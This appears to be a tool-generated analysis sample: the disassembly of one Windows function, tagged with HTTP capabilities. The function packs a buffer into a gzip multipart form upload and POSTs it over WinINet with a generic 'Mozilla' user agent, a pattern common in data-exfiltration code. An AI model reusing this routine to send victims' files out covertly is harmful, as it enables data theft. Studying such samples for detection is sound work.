Function at 0x403179
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
push ebx
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x24]
mov word [ebp - 4], ax
stosd dword es:[edi], eax
push 0xe
pop ebx
push 9
stosd dword es:[edi], eax
pop esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.0040eec5
cdq
idiv esi
lea eax, [ebp - 4]
push edx
push 0x41f29c
push eax
call fcn.00404c3c
lea edx, [ebp - 4]
add esp, 0xc
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4031b8
lea edi, [ebp - 0x24]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4031c5
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 9
pop esi
sub ebx, 1
jne 0x403199
push 0x12
pop ecx
mov esi, str.Content_Type:_multipart_form_data__boundary___________________________
lea edi, [ebp - 0x324]
rep movsd dword es:[edi], dword [esi]
lea edx, [ebp - 0x24]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4031f8
lea edi, [ebp - 0x324]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403208
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x324]
dec ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x403225
mov bx, word [0x41f2e8]
lea edi, [ebp - 0x124]
mov ah, byte [0x41f2ea]
lea edx, [ebp - 0x24]
mov word [ecx], bx
mov esi, str._____________________________
mov byte [ecx + 2], ah
push 7
pop ecx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x403257
lea edi, [ebp - 0x124]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403267
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x124]
dec ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x403284
lea edi, [ebp - 0x124]
mov word [ecx], bx
mov byte [ecx + 2], ah
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403299
mov edx, dword [ebp + 0x14]
mov esi, str.Content_Disposition:_form_data__name_file___filename_
push 0xe
pop ecx
rep movsd dword es:[edi], dword [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4032b0
lea edi, [ebp - 0x124]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4032c0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x124]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4032dd
push 9
pop ecx
mov esi, str.__r_nContent_Type:application_x_gzip_r_n_r_n
lea edx, [ebp - 0x24]
rep movsd dword es:[edi], dword [esi]
push 8
pop ecx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str._r_n_____________________________
lea edi, [ebp - 0x224]
rep movsd dword es:[edi], dword [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x403307
lea edi, [ebp - 0x224]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403317
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x224]
dec ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x403334
mov eax, dword [str.___r_n]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ecx], eax
mov al, byte [0x41f390]
mov byte [ecx + 4], al
lea eax, [ebp - 0x224]
push eax
call edi
mov esi, eax
lea eax, [ebp - 0x124]
push eax
call edi
add esi, dword [ebp + 0xc]
add eax, esi
mov dword [ebp - 0xc], eax
inc eax
push eax
call fcn.0040eeba
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebx, eax
pop ecx
lea eax, [ebp - 0x124]
mov dword [ebp - 8], ebx
push eax
push ebx
call esi
push dword [ebp + 0xc]
lea eax, [ebp - 0x124]
push dword [ebp + 8]
push eax
call edi
add eax, ebx
push eax
call fcn.00409a50
add esp, 0xc
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x124]
push eax
call edi
add eax, ebx
add eax, dword [ebp + 0xc]
push eax
call esi
xor edi, edi
push edi
push edi
push edi
push edi
push str.Mozilla
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x40344e
push 1
push edi
push 3
push edi
push edi
push 0x50
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebx, eax
test ebx, ebx
je 0x40344e
push 1
push 0x4000000
push 0x41f39c
push edi
push edi
push dword [ebp + 0x18]
push str.POST
push ebx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
mov dword [ebp - 0x10], esi
test esi, esi
je 0x40344e
push dword [ebp - 0xc]
lea eax, [ebp - 0x324]
push dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x324]
push eax
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x40344e
push dword [ebp + 0xc]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
push dword [ebp - 0x10]
call esi
jmp 0x403451
xor edi, edi
inc edi
push dword [ebp - 8]
call fcn.0040ee9f
pop ecx
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret